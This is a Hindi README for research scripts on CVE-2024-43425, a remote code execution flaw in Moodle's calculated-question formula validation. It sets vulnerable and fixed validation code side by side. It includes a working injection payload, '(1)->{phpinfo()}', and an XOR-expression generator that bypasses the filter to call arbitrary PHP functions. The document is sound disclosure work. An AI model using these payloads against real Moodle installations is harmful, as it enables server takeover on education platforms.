
मूडल कैलकुलेटेड प्रश्नों में RCE के विश्लेषण के लिए स्क्रिप्ट्स (CVE-2024-43425)
यह रिपॉजिटरी ब्लॉग पोस्ट वापस स्कूल - मूडल में एक दूरस्थ कोड निष्पादन भेद्यता का शोषण से संबंधित सहायक स्क्रिप्ट्स शामिल करती है, जो मूडल लर्निंग प्लेटफ़ॉर्म में एक दूरस्थ कोड निष्पादन भेद्यता का वर्णन करती है।
validation निर्देशिका में मौजूद स्क्रिप्ट्स का उपयोग PHP eval() कॉल के दुरुपयोग को रोकने के लिए Moodle द्वारा उपयोग किए जाने वाले सत्यापन लॉजिक के विरुद्ध इनपुट स्ट्रिंग्स का सीधे परीक्षण करने के लिए किया जा सकता है।
सभी कोड स्निपेट्स सीधे Moodle के स्रोत कोड से लिए गए हैं, जिसमें कमजोर संस्करण के लिए 4.4.1 रिलीज़ और सुरक्षित संस्करण के लिए 4.4.2 का उपयोग किया गया है।
स्क्रिप्ट्स में question/type/calculated/questiontype.php फ़ाइल के प्रासंगिक भाग शामिल हैं।
validation.php फ़ाइल कमजोर सत्यापन लॉजिक का उपयोग करती है:
$ php validation.php '(1)->{phpinfo()}'
phpinfo()
PHP Version => 8.3.10
[...]
यह रिपॉजिटरी validation-fixed.php में सत्यापन कोड का सुरक्षित संस्करण भी शामिल करती है:
$ php validation-fixed.php '(1)->{phpinfo()}'
error illegalformulasyntax with value: {phpinfo()}
[...]
xor-generator.py स्क्रिप्ट का उपयोग वेरिएबल फ़ंक्शनों पर आधारित एक्सप्रेशन उत्पन्न करने के लिए किया जा सकता है, जो Moodle के कमजोर संस्करणों में एक एकल संख्यात्मक पैरामीटर के साथ किसी भी PHP फ़ंक्शन को कॉल करने की अनुमति देते हैं:
$ ./xor-generator.py 'PRINTF'
((acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0))
$ php -r '((acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0))("Test");'
Test